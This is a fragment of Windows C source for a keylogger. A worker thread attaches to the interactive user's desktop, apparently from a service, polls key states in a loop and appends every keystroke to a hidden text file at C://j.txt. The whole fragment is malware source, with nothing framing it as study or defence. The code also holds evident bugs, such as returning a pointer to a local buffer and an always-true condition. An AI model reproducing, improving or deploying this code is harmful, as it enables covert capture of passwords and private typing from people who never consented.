char * GetKey(int Key)
{
char KeyString[200] = "";
if (Key == 8)
sprintf(KeyString,"[delete]");
else if (Key == 13)
sprintf(KeyString,"/n");
else if (Key == 32)
sprintf(KeyString," ");
else if (Key == VK_PAUSE)
sprintf(KeyString,"[PAUSE]");
else if (Key == VK_CAPITAL)
sprintf(KeyString,"[CAPITAL]");
else if (Key == VK_SHIFT)
sprintf(KeyString,"[SHIFT]");
else if (Key == VK_TAB)
sprintf(KeyString,"[TABULATOR]");
else if (Key == VK_CONTROL)
sprintf(KeyString,"[CTRL]");
else if (Key == VK_ESCAPE)
sprintf(KeyString,"[ESCAPE]");
else if (Key == VK_END)
sprintf(KeyString,"[END]");
else if (Key == VK_HOME)
sprintf(KeyString,"[HOME]");
else if (Key == VK_LEFT)
sprintf(KeyString,"[left]");
else if (Key == VK_RIGHT)
sprintf(KeyString,"[right]");
else if (Key == VK_UP)
sprintf(KeyString,"[UP]");
else if (Key == VK_DOWN)
sprintf(KeyString,"[DOWN]");
else if (Key == VK_SNAPSHOT)
sprintf(KeyString,"[SNAPSHOT]");
else if (Key == VK_NUMLOCK)
sprintf(KeyString,"[NUMLOCK]");
else if (Key == 190 || Key == 110)
sprintf(KeyString,".");
else if (Key >=96 && Key <= 105)
sprintf(KeyString,"%c",Key);
else if (Key > 47 && Key < 60)
sprintf(KeyString,"%c",Key);
if (Key != VK_LBUTTON || Key != VK_RBUTTON)
{
if (Key > 64 && Key < 91)
{
if (GetKeyState(VK_CAPITAL))
sprintf(KeyString,"%c",Key);
else
{
Key = Key + 32;
sprintf(KeyString,"%c",Key);
}
}
}
return KeyString;
}
DWORD WINAPI WorkThread(LPVOID lpparam)
{
GetCurrentUserInService();
GetDesktopWindow();
HWINSTA hWinstaUser = OpenWindowStation("WinSta0", FALSE, MAXIMUM_ALLOWED);
SetProcessWindowStation(hWinstaUser);
HDESK hInputDesk = OpenDesktop( "Default", 0, 0, MAXIMUM_ALLOWED );
if (hInputDesk == NULL)
{
return TRUE;
}
BOOL bRet = SetThreadDesktop( hInputDesk);
CloseDesktop( hInputDesk );
char szBuf[200];
FILE *pFile;
while(true)
{
Sleep(1);
for(int i = 8; i < 191; i++)
{
if(GetAsyncKeyState(i)&1 ==1)
{
sprintf(szBuf,"%s",GetKey (i));
pFile = fopen("C://j.txt","a+");
if(pFile == NULL)return 0;
fprintf(pFile,"%s",szBuf);
fclose(pFile);
}
}
}
return 0;
}